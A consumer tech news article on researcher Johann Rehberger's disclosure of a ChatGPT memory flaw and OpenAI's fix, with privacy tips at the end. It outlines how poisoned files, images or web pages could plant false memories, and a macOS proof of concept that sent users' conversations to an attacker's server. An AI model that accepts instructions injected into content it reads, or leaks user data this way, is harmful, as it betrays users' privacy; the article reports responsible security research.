How a researcher hacked ChatGPT's memory to expose a major security flaw

Recently, the company introduced a new memory feature in ChatGPT, which essentially enables it to remember things about you. For example, it can recall your age, gender, philosophical beliefs and pretty much anything else. 

ChatGPT's memory feature is designed to make the chatbot more personal to you. It remembers information that might be useful for future conversations and tailors responses based on that information, even if you open a different chat. For example, if you mention that you're vegetarian, the next time you ask for recipes, it will provide only vegetarian options. 

For instance, Rehberger demonstrated that he could trick ChatGPT into believing a certain user was 102 years old, lived in a fictional place called the Matrix and thought the Earth was flat. After the AI accepts this made-up information, it will carry it over to all future chats with that user. These false memories could be implanted by using tools like Google Drive or Microsoft OneDrive to store files, upload images or even browse a site like Bing - all of which could be manipulated by a hacker.

Rehberger submitted a follow-up report that included a proof of concept, demonstrating how he could exploit the flaw in the ChatGPT app for macOS. He showed that by tricking the AI into opening a web link containing a malicious image, he could make it send everything a user typed and all the AI's responses to a server he controlled. This meant that if an attacker could manipulate the AI in this way, they could monitor all conversations between the user and ChatGPT.

Rehberger's proof-of-concept exploit demonstrated that the vulnerability could be used to exfiltrate all user input in perpetuity. The attack isn't possible through the ChatGPT web interface, thanks to an API OpenAI rolled out last year. However, it was still possible through the ChatGPT app for macOS.

When Rehberger privately reported the finding to OpenAI in May, the company took it seriously and mitigated this issue by ensuring that the model doesn't follow any links generated within its own responses, like those involving memory and similar features. 

After Rehberger shared his proof of concept, OpenAI engineers took action and released a patch to address this vulnerability. They released a new version of the ChatGPT macOS application (version 1.2024.247) that encrypts conversations and fixes the security flaw.

So, while OpenAI has taken steps to address the immediate security flaw, there are still potential vulnerabilities related to memory manipulation and the need for ongoing vigilance in using AI tools with memory features. The incident underscores the evolving nature of security challenges in AI systems.

If you're not cool with ChatGPT keeping stuff about you or the chance that it could let a bad actor access your data, you can just turn off this feature in the settings.

This disables ChatGPT's ability to retain information between conversations, giving you full control over what it remembers or forgets.

As AI technologies like ChatGPT become more prevalent, it's crucial to adhere to cybersecurity best practices to protect your personal information. Here are some tips for enhancing your cybersecurity:

1. Regularly review privacy settings: Stay informed about what data is being collected. Periodically check and adjust privacy settings on AI platforms like ChatGPT and others to ensure you're only sharing information you're comfortable with.

2. Be cautious about sharing sensitive information: Less is more when it comes to personal data. Avoid disclosing sensitive details such as your full name, address, or financial information in conversations with AI.

As AI tools like ChatGPT get smarter and more personal, it's pretty interesting to think about how they can tailor conversations to us. But, as Johann Rehberger's findings remind us, there are some real risks involved, especially when it comes to privacy and security. While OpenAI is able to mitigate these issues as they arise, it also shows that we need to keep a close eye on how these features work. It's all about finding that sweet spot between innovation and keeping our data safe.

Follow Kurt on his social channels:

Answers to the most-asked CyberGuy questions:

New from Kurt:

Copyright 2024 CyberGuy.com. All rights reserved.